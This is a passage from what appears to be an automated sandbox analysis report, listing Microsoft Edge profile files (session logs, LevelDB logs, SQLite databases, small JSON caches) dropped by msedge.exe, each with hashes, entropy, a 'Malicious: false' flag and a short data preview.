SHA-512:	4DF18FB3D1DB64CED9AF27D99723D86C60F6E174C92CA711017CEB032EFDEF2B103234113E6F5482E778E434E0AE23257C7BAEBAE3C54E1C9A64B30E6D4E9CEC
Malicious:	false
Preview:	(.......oy retne........................J.q./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7561
Entropy (8bit):	3.3922198241181465
Encrypted:	false
SSDEEP:	192:4gvtdd2//t552N+4NRN8U9Xp+2EKiGlLl9iSrBIbI0/gttb4x:4gvtddg52VDiU9Xp+2rFlLl9iSrBIbzV
MD5:	033C3D971C03D5054D75870F0C7BF4EC
SHA1:	41F7A0052182F286A762ADB2B72C5DCF234E88FC
SHA-256:	A5801C87AB784F22726B35A2939CAEACDE838508C266EF535D06CD54E7FBE140
SHA-512:	E3AD8058B24C9BC72439D17384FC3B3F0DE2868A6CA107A54BA3C702F92B54471B5CC3414DAD4B461B5A3F4EE5EFA92C041C2B13AEF417195249129E2960FEA3
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............>wm.b................next-map-id.1.Cnamespace-aa065c9e_982a_41b6_8798_6842769c826c-https://ntp.msn.com/.0...'D................map-0-shd_sweeper.8{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.v.i.d.a.d.-.2.1.5.-.c.,.p.r.g.-.v.i.d.a.d.-.v.s.-.r.f.-.c.,.c.p.r.g.-.h.p.-.r.d.c.t.2.,.p.r.g.-.m.s.n.-.b.l.s.b.i.d.m.h.o.,.p.n.p.w.x.e.x.p.r.e.g.-.c.,.b.i.n.g._.v.2._.s.c.o.p.e.-.c.,.d.q.-.l.o.c.k.-.w.p.o.-.t.2.,.1.s.-.a.c.t.d.a.i.l.y.q.u.i.z.,.1.s.-.b.w.o.s.c.a.c.h.e.,.1.s.-.c.h.-.d.q.z.,.1.s.-.p.1.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.1.-.d.a.i.l.y.q.u.i.z.t.3.,.1.s.-.p.2.-.b.i.n.g.w.i.d.g.e.t.s.,.1.s.-.p.2.-.d.a.i.l.y.q.u.i.z.t.3.,.1.s.-.w.p.o.-.l.o.c.k.-.d.q.z.2.,.d.q.-.l.o.c.k.-.w.p.o.-.t.1.,.p.r.g.-.1.s.w.-.s.a.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.093911806098808
Encrypted:	false
SSDEEP:	6:iOXAQ4q2PN723oH+TcwtrQMxIFUtFA453JZmw7AgSBvDkwON723oH+TcwtrQMFLJ:7wfvVaYebCFUtuw/cp5OaYebtJ
MD5:	6ED2C305380EDF8CBE215B5B2909213C
SHA1:	61EAFEEB590766A8C0AFF0DB05705F990C0424F4
SHA-256:	F58E7F2E3250EA0503B8B83D76251B201FC968A5180E21C126406FD2E5528847
SHA-512:	AF07E7B2B1E806EF77E0988CBA70B76B645C63A859D47D384E9168CBE09A522A9B5D4515E6EC6DC4DDD88739720C25710AF5D28020F87D7C860ED18BF686C848
Malicious:	false
Preview:	2025/02/01-10:53:51.697 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/01-10:53:51.699 17d0 Recovering log #3.2025/02/01-10:53:51.702 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.093911806098808
Encrypted:	false
SSDEEP:	6:iOXAQ4q2PN723oH+TcwtrQMxIFUtFA453JZmw7AgSBvDkwON723oH+TcwtrQMFLJ:7wfvVaYebCFUtuw/cp5OaYebtJ
MD5:	6ED2C305380EDF8CBE215B5B2909213C
SHA1:	61EAFEEB590766A8C0AFF0DB05705F990C0424F4
SHA-256:	F58E7F2E3250EA0503B8B83D76251B201FC968A5180E21C126406FD2E5528847
SHA-512:	AF07E7B2B1E806EF77E0988CBA70B76B645C63A859D47D384E9168CBE09A522A9B5D4515E6EC6DC4DDD88739720C25710AF5D28020F87D7C860ED18BF686C848
Malicious:	false
Preview:	2025/02/01-10:53:51.697 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2025/02/01-10:53:51.699 17d0 Recovering log #3.2025/02/01-10:53:51.702 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13382898833381139

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.803388339614503
Encrypted:	false
SSDEEP:	24:3U6RJJYaZiPJlGpsAF4unx4tLp3X2amEtG1Chq+L8YAETQKkOAM4AE:3UX8iPizFWLp2FEkChtgNTHOpq
MD5:	3516CF0DE2A100D31FB9940B2CD9BA14
SHA1:	03A9F02036B8AC8DB4C6C3A4C024F542E7BCEFAC
SHA-256:	C6CEC8F851F19DF8CF0D6E564135F90B124D7F6209C6DC3CB306330F98B53794
SHA-512:	F25F750F53E267136C6F2DC7DDCFF519B94CD1747C8E0A026FE738305694919CA821EBB5638A27AB9C5E61241A8077AB72C6DE7014860461ADB517D4B6C4C76F
Malicious:	false
Preview:	SNSS........l./............l./......".l./............l./........l./........l./........l./....!...l./................................l./.l./1..,....l./$...aa065c9e_982a_41b6_8798_6842769c826c....l./........l./....?.=.........l./....l./........................l./....................5..0....l./&...{46F3A197-DB49-410A-81B3-94975C835573}......l./........l./........................l./............l./........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.........\|..-....\|..-.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.061042540475673
Encrypted:	false
SSDEEP:	6:iOXAHM+q2PN723oH+Tcwt7Uh2ghZIFUtFALZmw7AGMVkwON723oH+Tcwt7Uh2gnd:7wHM+vVaYebIhHh2FUtuL/cGMV5OaYeQ
MD5:	A6DD6AE1F0359260D9395E1C43B2193D
SHA1:	1E12D597831D0B670F604D1B732B35211C60F10B
SHA-256:	68B1DA4D507739A638C9F2BC76ECACD4E8C7E6771ABFF50D55940EBCE97679FE
SHA-512:	6C093E02B7D4EC8CF12FCC766297A9457C76091F7A01E628C247D2E6DBAFE293FCFD10C4F4969AEDB1C00274D57A1F0555EB4E472FB093F24FC1804BA6C5DA47
Malicious:	false
Preview:	2025/02/01-10:53:51.057 1fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/01-10:53:51.058 1fc Recovering log #3.2025/02/01-10:53:51.058 1fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	5.061042540475673
Encrypted:	false
SSDEEP:	6:iOXAHM+q2PN723oH+Tcwt7Uh2ghZIFUtFALZmw7AGMVkwON723oH+Tcwt7Uh2gnd:7wHM+vVaYebIhHh2FUtuL/cGMV5OaYeQ
MD5:	A6DD6AE1F0359260D9395E1C43B2193D
SHA1:	1E12D597831D0B670F604D1B732B35211C60F10B
SHA-256:	68B1DA4D507739A638C9F2BC76ECACD4E8C7E6771ABFF50D55940EBCE97679FE
SHA-512:	6C093E02B7D4EC8CF12FCC766297A9457C76091F7A01E628C247D2E6DBAFE293FCFD10C4F4969AEDB1C00274D57A1F0555EB4E472FB093F24FC1804BA6C5DA47
Malicious:	false
Preview:	2025/02/01-10:53:51.057 1fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2025/02/01-10:53:51.058 1fc Recovering log #3.2025/02/01-10:53:51.058 1fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.198988489016036
Encrypted:	false
SSDEEP:	12:7wRVvVaYebvqBQFUtu4wg/c8wI5OaYebvqBvJ:7wR5VaYebvZguhz8wSOaYebvk
MD5:	D26E5D4ABADAD6DE1EC0FF0D33636DDE
SHA1:	5E085F5A42D0A0C252D465B0015499F61F6D254C
SHA-256:	5764A310A3ED07CF1A7259346B711A6C6D2C144964F2AA26385C8B5334457A66
SHA-512:	CEAA4E4281CCBB2A7E479341159037F50397C2A6F3C5AF7474BC3CF5FBC2EFB2EEF65BDDCE45AFE01013451C6CB2EBDABBC3C9190312F103284FB1C02A4107F1
Malicious:	false
Preview:	2025/02/01-10:53:51.651 df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/01-10:53:51.682 df8 Recovering log #3.2025/02/01-10:53:51.686 df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.198988489016036
Encrypted:	false
SSDEEP:	12:7wRVvVaYebvqBQFUtu4wg/c8wI5OaYebvqBvJ:7wR5VaYebvZguhz8wSOaYebvk
MD5:	D26E5D4ABADAD6DE1EC0FF0D33636DDE
SHA1:	5E085F5A42D0A0C252D465B0015499F61F6D254C
SHA-256:	5764A310A3ED07CF1A7259346B711A6C6D2C144964F2AA26385C8B5334457A66
SHA-512:	CEAA4E4281CCBB2A7E479341159037F50397C2A6F3C5AF7474BC3CF5FBC2EFB2EEF65BDDCE45AFE01013451C6CB2EBDABBC3C9190312F103284FB1C02A4107F1
Malicious:	false
Preview:	2025/02/01-10:53:51.651 df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/01-10:53:51.682 df8 Recovering log #3.2025/02/01-10:53:51.686 df8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3519d0a5-76c7-4191-a7f5-8f13a46a7c65.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\85a0ae71-75e4-41cb-9e2c-7ea620004853.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF44d03.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF45020.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e472fbe8-da1e-4e6b-86ae-34936d37a529.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ed71f296-ddb6-4141-911f-218f45d10895.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.213043176063802
Encrypted:	false
SSDEEP:	12:7wbcvVaYebvqBZFUtubV/cbdFz5OaYebvqBaJ:7wbmVaYebvygubObdFlOaYebvL
MD5:	F694489FA38A6D280A0D7C9DD71CC70C
SHA1:	6527054C70A60D1C15D594798655F72A47B2C4E6
SHA-256:	CD7DC1705FF4256E3D90B9349A0AF8905EA6B3BB2D614C29103F06F3EFC9B623
SHA-512:	E0E393299E63EE78A894DA137B8FA214A16F5B9AEE2BBBB9ACAE979BCCB6758916C5DCA186C4CB1CFF4CCCA510B73A47938EE63ACF832ED41DBC010CA9AF766C
Malicious:	false
Preview:	2025/02/01-10:54:09.979 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/01-10:54:09.980 17d0 Recovering log #3.2025/02/01-10:54:09.984 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.213043176063802
Encrypted:	false
SSDEEP:	12:7wbcvVaYebvqBZFUtubV/cbdFz5OaYebvqBaJ:7wbmVaYebvygubObdFlOaYebvL
MD5:	F694489FA38A6D280A0D7C9DD71CC70C
SHA1:	6527054C70A60D1C15D594798655F72A47B2C4E6
SHA-256:	CD7DC1705FF4256E3D90B9349A0AF8905EA6B3BB2D614C29103F06F3EFC9B623
SHA-512:	E0E393299E63EE78A894DA137B8FA214A16F5B9AEE2BBBB9ACAE979BCCB6758916C5DCA186C4CB1CFF4CCCA510B73A47938EE63ACF832ED41DBC010CA9AF766C
Malicious:	false
Preview:	2025/02/01-10:54:09.979 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/01-10:54:09.980 17d0 Recovering log #3.2025/02/01-10:54:09.984 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.144627787964989
Encrypted:	false
SSDEEP:	6:iOXAmlL+q2PN723oH+TcwtpIFUtFAj1Zmw7A1LVkwON723oH+Tcwta/WLJ:7wPvVaYebmFUtuj1/cD5OaYebaUJ
MD5:	6D67EC35300A817C0ED5A097E566F94D
SHA1:	BD94D250DD384E211DA4CB49D1AC8E3ADBB3471A
SHA-256:	0D2D3895EAE924338CEF9E0AD82E93129344AF0551F3465A45058894F20E92DF
SHA-512:	88535E1D19CA8996406385B6C18A8EB80799D80A867AA388218F01E2BE653D274C244A7AA522CB90E18591A28D87643EE02EB1FF1A9344B2BECD1E82B7A0DBAC
Malicious:	false
Preview:	2025/02/01-10:53:51.058 1398 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/01-10:53:51.059 1398 Recovering log #3.2025/02/01-10:53:51.059 1398 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.144627787964989
Encrypted:	false
SSDEEP:	6:iOXAmlL+q2PN723oH+TcwtpIFUtFAj1Zmw7A1LVkwON723oH+Tcwta/WLJ:7wPvVaYebmFUtuj1/cD5OaYebaUJ
MD5:	6D67EC35300A817C0ED5A097E566F94D
SHA1:	BD94D250DD384E211DA4CB49D1AC8E3ADBB3471A
SHA-256:	0D2D3895EAE924338CEF9E0AD82E93129344AF0551F3465A45058894F20E92DF
SHA-512:	88535E1D19CA8996406385B6C18A8EB80799D80A867AA388218F01E2BE653D274C244A7AA522CB90E18591A28D87643EE02EB1FF1A9344B2BECD1E82B7A0DBAC
Malicious:	false
